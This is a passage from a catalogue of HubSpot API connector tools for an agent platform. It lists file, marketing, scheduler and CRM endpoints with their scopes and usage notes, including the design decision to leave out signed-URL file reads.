bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/files/{fileId} on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/files/{fileId}. Scopes: files. hubspot_get_files_v3_files_by_fileid_download (read) — The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/files/{fileId}/download on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/files/{fileId}/download. Scopes: files. hubspot_get_files_v3_files_import_from_url_async_tasks_by_taskid_status (read) — Check import status. Check the status of requested import. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/files/import-from-url/async/tasks/{taskId}/status on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/files/import-from-url/async/tasks/{taskId}/status. Scopes: files. hubspot_get_files_v3_files_search (read) — Search files. Search through files in the file manager. Does not display hidden or archived files. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls GET /files/v3/files/search on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/files/search. Scopes: files. hubspot_get_files_v3_files_stat_by_path (read) — Retrieve file by path. Retrieve a file by its path. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/files/stat/{path} on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/files/stat/{path}. Scopes: files. hubspot_get_files_v3_folders_by_folderid (read) — Retrieve folder by ID. Retrieve a folder by its ID. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/folders/{folderId} on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/folders/{folderId}. Scopes: files. hubspot_get_files_v3_folders_by_folderpath (read) — Retrieve folder by path. Retrieve a folder, identified by its path. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/folders/{folderPath} on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/folders/by-path/{folderPath}. Scopes: files. hubspot_get_files_v3_folders_search (read) — Search folders. Search for folders. Does not contain hidden or archived folders. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls GET /files/v3/folders/search on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/folders/search. Scopes: files. hubspot_get_files_v3_folders_update_async_tasks_by_taskid_status (read) — Check folder update status. Check status of folder update. Folder updates happen asynchronously. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls GET /files/v3/folders/update/async/tasks/{taskId}/status on api.hubapi.com. Requires the HubSpot scope files. GET /api/v1/hubspot/files/v3/folders/update/async/tasks/{taskId}/status. Scopes: files. hubspot_get_integrators_timeline_v3_events_by_eventtemplateid_by_eventid (read) — Get an event instance. Retrieve an event instance, specified by template ID and event ID. Timeline events are the app-authored entries on a record's activity feed. Calls GET /integrators/timeline/v3/events/{eventTemplateId}/{eventId} on api.hubapi.com. Requires the HubSpot scope timeline. GET /api/v1/hubspot/integrators/timeline/v3/events/{eventTemplateId}/{eventId}. Scopes: timeline. hubspot_get_marketing_marketing_events_v3 (read) — Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/marketing-events/v3 on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/marketing-events/v3. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_campaigns (read) — Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid (read) — Read a campaign. Get a campaign identified by a specific campaignGuid with the given properties. Along with the campaign information, it also returns information about assets. Depending on the query parameters used, this can also be used to return information about the corresponding assets' metrics. Metrics are available only if startDate and endDate are provided. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_assets_by_assettype (read) — List assets. This endpoint lists all assets of the campaign by asset type. The assetType parameter is required, and each request can only fetch assets of a single type. Asset metrics can also be fetched along with the assets; they are available only if start and end dates are provided. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/assets/{assetType} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/assets/{assetType}. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_budget_by_budgetid (read) — Get budget item. Get a specific budget item by ID Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/budget/{budgetId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/budget/{budgetId}. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_budget_totals (read) — Read budget. Retrieve detailed information about the budget and spend items for a specified campaign, including the total budget, total spend, and remaining budget. Budget and Spend items may be returned in any order, but the order field specifies their sequence based on the creation date. The item with order 0 is the oldest, and items with higher order values are newer Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/budget/totals on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/budget/totals. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_reports_contacts_by_contacttype (read) — Fetch contact IDs. Fetch the list of contact IDs for the specified campaign and contact type Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/reports/contacts/{contactType} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/reports/contacts/{contactType}. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_reports_metrics (read) — Get Campaign Metrics. This endpoint retrieves key attribution metrics for a specified campaign, such as sessions, new contacts, and influenced contacts. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/reports/metrics on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/reports/metrics. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_reports_revenue (read) — Fetch revenue. Fetch revenue attribution report data for a specified campaign Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/reports/revenue on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.revenue.full.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/reports/revenue. Scopes: marketing.campaigns.revenue.full.read. hubspot_get_marketing_v3_campaigns_by_campaignguid_spend_by_spendid (read) — Read campaign spend item. Read a campaign spend item by its spendId Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls GET /marketing/v3/campaigns/{campaignGuid}/spend/{spendId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. GET /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/spend/{spendId}. Scopes: marketing.campaigns.read. hubspot_get_marketing_v3_emails (read) — Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_by_emailid (read) — Get the details of a specified marketing email. Get the details for a marketing email. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/{emailId} on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/{emailId}. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_by_emailid_ab_test_get_variation (read) — Get the variation of a an A/B marketing email. This endpoint lets you obtain the variation of an A/B marketing email. If the email is variation A (master) it will return variation B (variant) and vice versa. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/{emailId}/ab-test/get-variation on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/{emailId}/ab-test/get-variation. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_by_emailid_draft (read) — Get draft version of a marketing email. Get the draft version of an email (if it exists). If no draft version exists, the published email is returned. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/{emailId}/draft on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/{emailId}/draft. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_by_emailid_revisions (read) — Get revisions of a marketing email. Get a list of all versions of a marketing email, with each entry including the full state of that particular version. To view the most recent version, sort by the updatedAt parameter. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/{emailId}/revisions on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/{emailId}/revisions. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_by_emailid_revisions_by_revisionid (read) — Get a revision of a marketing email. Get a specific revision of a marketing email. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/{emailId}/revisions/{revisionId} on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/{emailId}/revisions/{revisionId}. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_statistics_histogram (read) — Get aggregated statistic intervals. Get aggregated statistics in intervals for a specified time span. Each interval contains aggregated statistics of the emails that were sent in that time. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/statistics/histogram on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/statistics/histogram. Scopes: marketing.email.read. hubspot_get_marketing_v3_emails_statistics_list (read) — Get aggregated statistics. Use this endpoint to get aggregated statistics of emails sent in a specified time span. It also returns the list of emails that were sent during the time span. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls GET /marketing/v3/emails/statistics/list on api.hubapi.com. Requires the HubSpot scope marketing.email.read. GET /api/v1/hubspot/marketing/v3/emails/statistics/list. Scopes: marketing.email.read. hubspot_get_marketing_v3_forms (read) — Marketing forms and their field definitions. Reading a form tells an agent which fields a submission may carry. Calls GET /marketing/v3/forms on api.hubapi.com. Requires the HubSpot scope forms. GET /api/v1/hubspot/marketing/v3/forms. Scopes: forms. hubspot_get_marketing_v3_forms_by_formid (read) — Get a form definition. Returns a form based on the form ID provided. Marketing forms and their field definitions. Reading a form tells an agent which fields a submission may carry. Calls GET /marketing/v3/forms/{formId} on api.hubapi.com. Requires the HubSpot scope forms. GET /api/v1/hubspot/marketing/v3/forms/{formId}. Scopes: forms. hubspot_get_marketing_v3_marketing_events_associations_by_externalaccountid_by_externaleventid_lists (read) — Get lists associated with a marketing event. Gets lists associated with a marketing event by external account id and external event id Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/associations/{externalAccountId}/{externalEventId}/lists on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. GET /api/v1/hubspot/marketing/v3/marketing-events/associations/{externalAccountId}/{externalEventId}/lists. Scopes: crm.objects.marketing_events.write. hubspot_get_marketing_v3_marketing_events_associations_by_marketingeventid_lists (read) — Get lists associated with a marketing event. Gets lists associated with a marketing event by marketing event id Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/associations/{marketingEventId}/lists on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. GET /api/v1/hubspot/marketing/v3/marketing-events/associations/{marketingEventId}/lists. Scopes: crm.objects.marketing_events.write. hubspot_get_marketing_v3_marketing_events_by_externaleventid_identifiers (read) — Find Marketing Events by External Event Id. This endpoint searches the portal for all Marketing Events whose externalEventId matches the value provided in the request. It retrieves the objectId and additional event details for each matching Marketing Event. Since multiple Marketing Events can have the same externalEventId, the endpoint returns all matching results. Note: Marketing Events become searchable by externalEventId a few minutes after creation. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/{externalEventId}/identifiers on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/{externalEventId}/identifiers. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_by_objectid (read) — Get Marketing Event by objectId. Returns the details of a Marketing Event with the specified objectId, if it exists. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/{objectId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/{objectId}. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_events_by_externaleventid (read) — Get Marketing Event by External IDs. Returns the details of a Marketing Event with the specified externalAccountId, externalEventId, if it exists. Only Marketing Events created by the same app making the request can be retrieved. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/events/{externalEventId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_events_search (read) — Find App-Specific Marketing Events by External Event Id. Retrieves Marketing Events where the externalEventId matches the value provided in the request, limited to events created by the app making the request. Marketing Events created by other apps will not be included in the results. Marketing events - webinars and similar - and their attendance state. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls GET /marketing/v3/marketing-events/events/search on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/events/search. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_participations_by_externalaccountid_by_externaleventid (read) — Read participations counters by Marketing Event external identifier. Read Marketing event's participations counters by externalAccountId and externalEventId pair. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/participations/{externalAccountId}/{externalEventId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/participations/{externalAccountId}/{externalEventId}. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_participations_by_externalaccountid_by_externaleventid_breakdown (read) — Read participations breakdown by Marketing Event external identifier. Read Marketing event's participations breakdown with optional filters by externalAccountId and externalEventId pair. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/participations/{externalAccountId}/{externalEventId}/breakdown on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/participations/{externalAccountId}/{externalEventId}/breakdown. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_participations_by_marketingeventid (read) — Read participations counters by Marketing Event internal identifier. Read Marketing event's participations counters by internal identifier marketingEventId. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/participations/{marketingEventId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/participations/{marketingEventId}. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_participations_by_marketingeventid_breakdown (read) — Read participations breakdown by Marketing Event internal identifier. Read Marketing event's participations breakdown with optional filters by internal identifier marketingEventId. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/participations/{marketingEventId}/breakdown on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/participations/{marketingEventId}/breakdown. Scopes: crm.objects.marketing_events.read. hubspot_get_marketing_v3_marketing_events_participations_contacts_by_contactidentifier_breakdown (read) — Read participations breakdown by Contact identifier. Read Contact's participations by identifier - email or internal id. Marketing events - webinars and similar - and their attendance state. Calls GET /marketing/v3/marketing-events/participations/contacts/{contactIdentifier}/breakdown on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.read. GET /api/v1/hubspot/marketing/v3/marketing-events/participations/contacts/{contactIdentifier}/breakdown. Scopes: crm.objects.marketing_events.read. hubspot_get_scheduler_v3_meetings_meeting_links (read) — Get meeting scheduling pages. Get a paged list meeting scheduling pages Meeting engagements on a record's timeline. Gated on the contacts scope. Calls GET /scheduler/v3/meetings/meeting-links on api.hubapi.com. Requires the HubSpot scope scheduler.meetings.meeting-link.read. GET /api/v1/hubspot/scheduler/v3/meetings/meeting-links. Scopes: scheduler.meetings.meeting-link.read. hubspot_get_scheduler_v3_meetings_meeting_links_book_availability_page_by_slug (read) — Get the availability for a meeting. Get the next availability times for a meeting page. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls GET /scheduler/v3/meetings/meeting-links/book/availability-page/{slug} on api.hubapi.com. Requires the HubSpot scope scheduler.meetings.meeting-link.read. GET /api/v1/hubspot/scheduler/v3/meetings/meeting-links/book/availability-page/{slug}. Scopes: scheduler.meetings.meeting-link.read. hubspot_get_scheduler_v3_meetings_meeting_links_book_by_slug (read) — List booking information. Get details about the initial information necessary for a meeting scheduler. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls GET /scheduler/v3/meetings/meeting-links/book/{slug} on api.hubapi.com. Requires the HubSpot scope scheduler.meetings.meeting-link.read. GET /api/v1/hubspot/scheduler/v3/meetings/meeting-links/book/{slug}. Scopes: scheduler.meetings.meeting-link.read. hubspot_patch_conversations_v3_conversations_threads_by_threadid (write) — Update a thread. Updates a single thread. Either a thread's status can be updated, or the thread can be restored. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls PATCH /conversations/v3/conversations/threads/{threadId} on api.hubapi.com. Requires the HubSpot scope conversations.write. PATCH /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}. Scopes: conversations.write. hubspot_patch_crm_object_schemas_v3_schemas_by_objecttype (write) — Update the schema of a specified custom object. Update attributes of a custom object schema, such as properties and labels, using the object type ID or fully qualified name. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls PATCH /crm-object-schemas/v3/schemas/{objectType} on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.write. PATCH /api/v1/hubspot/crm-object-schemas/v3/schemas/{objectType}. Scopes: crm.schemas.custom.write. hubspot_patch_crm_objects_2026_03_subscriptions_by_subscriptionid (write) — Update a subscription. Update a specific subscription by its ID with new property values. Recurring Commerce Hub subscriptions. Calls PATCH /crm/objects/2026-03/subscriptions/{subscriptionId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/objects/2026-03/subscriptions/{subscriptionId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_objects_v3_projects_by_projectid (write) — Update. Perform a partial update of an Object identified by `{projectId}`or optionally a unique property value as specified by the `idProperty` query param. `{projectId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Projects are the Service Hub project object. Calls PATCH /crm/objects/v3/projects/{projectId} on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. PATCH /api/v1/hubspot/crm/objects/v3/projects/{projectId}. Scopes: crm.objects.projects.write. hubspot_patch_crm_v3_objects_0_162_by_serviceid (write) — Update. Perform a partial update of an Object identified by `{serviceId}`or optionally a unique property value as specified by the `idProperty` query param. `{serviceId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Services are the service object type. Calls PATCH /crm/v3/objects/0-162/{serviceId} on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. PATCH /api/v1/hubspot/crm/v3/objects/0-162/{serviceId}. Scopes: crm.objects.services.write. hubspot_patch_crm_v3_objects_0_3_by_dealid (write) — Update. Perform a partial update of an Object identified by `{dealId}`or optionally a unique property value as specified by the `idProperty` query param. `{dealId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls PATCH /crm/v3/objects/0-3/{dealId} on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. PATCH /api/v1/hubspot/crm/v3/objects/0-3/{dealId}. Scopes: crm.objects.deals.write. hubspot_patch_crm_v3_objects_0_410_by_courseid (write) — Update. Perform a partial update of an Object identified by `{courseId}`or optionally a unique property value as specified by the `idProperty` query param. `{courseId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Courses are the education object type. Calls PATCH /crm/v3/objects/0-410/{courseId} on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. PATCH /api/v1/hubspot/crm/v3/objects/0-410/{courseId}. Scopes: crm.objects.courses.write. hubspot_patch_crm_v3_objects_0_420_by_listingid (write) — Update. Perform a partial update of an Object identified by `{listingId}`or optionally a unique property value as specified by the `idProperty` query param. `{listingId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Listings are the real-estate object type. Calls PATCH /crm/v3/objects/0-420/{listingId} on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. PATCH /api/v1/hubspot/crm/v3/objects/0-420/{listingId}. Scopes: crm.objects.listings.write. hubspot_patch_crm_v3_objects_by_objecttype_by_objectid (write) — Update. Perform a partial update of an Object identified by `{objectId}`or optionally a unique property value as specified by the `idProperty` query param. `{objectId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls PATCH /crm/v3/objects/{objectType}/{objectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. PATCH /api/v1/hubspot/crm/v3/objects/{objectType}/{objectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_patch_crm_v3_objects_calls_by_callid (write) — Update. Perform a partial update of an Object identified by `{callId}`or optionally a unique property value as specified by the `idProperty` query param. `{callId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls PATCH /crm/v3/objects/calls/{callId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/calls/{callId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_carts_by_cartid (write) — Update a cart. Perform a partial update of an Object identified by `{cartId}`or optionally a unique property value as specified by the `idProperty` query param. `{cartId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Carts are the Commerce Hub basket object. Calls PATCH /crm/v3/objects/carts/{cartId} on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. PATCH /api/v1/hubspot/crm/v3/objects/carts/{cartId}. Scopes: crm.objects.carts.write. hubspot_patch_crm_v3_objects_commerce_payments_by_commercepaymentid (write) — Update. Perform a partial update of an Object identified by `{commercePaymentId}`or optionally a unique property value as specified by the `idProperty` query param. `{commercePaymentId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Payments recorded against invoices, subscriptions and payment links. Calls PATCH /crm/v3/objects/commerce_payments/{commercePaymentId} on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. PATCH /api/v1/hubspot/crm/v3/objects/commerce_payments/{commercePaymentId}. Scopes: crm.objects.commercepayments.write. hubspot_patch_crm_v3_objects_communications_by_communicationid (write) — Update. Perform a partial update of an Object identified by `{communicationId}`or optionally a unique property value as specified by the `idProperty` query param. `{communicationId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls PATCH /crm/v3/objects/communications/{communicationId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/communications/{communicationId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_companies_by_companyid (write) — Update a company. Update a company by ID (`companyId`) or unique property value (`idProperty`). Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls PATCH /crm/v3/objects/companies/{companyId} on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. PATCH /api/v1/hubspot/crm/v3/objects/companies/{companyId}. Scopes: crm.objects.companies.write. hubspot_patch_crm_v3_objects_contacts_by_contactid (write) — Update a contact. Update an existing contact, identified by ID or email/unique property value. To identify a contact by ID, include the ID in the request URL path. To identify a contact by their email or other unique property, include the email/property value in the request URL path, and add the `idProperty` query parameter (`/crm/v3/objects/contacts/jon@website.com?idProperty=email`). Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by pass... Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls PATCH 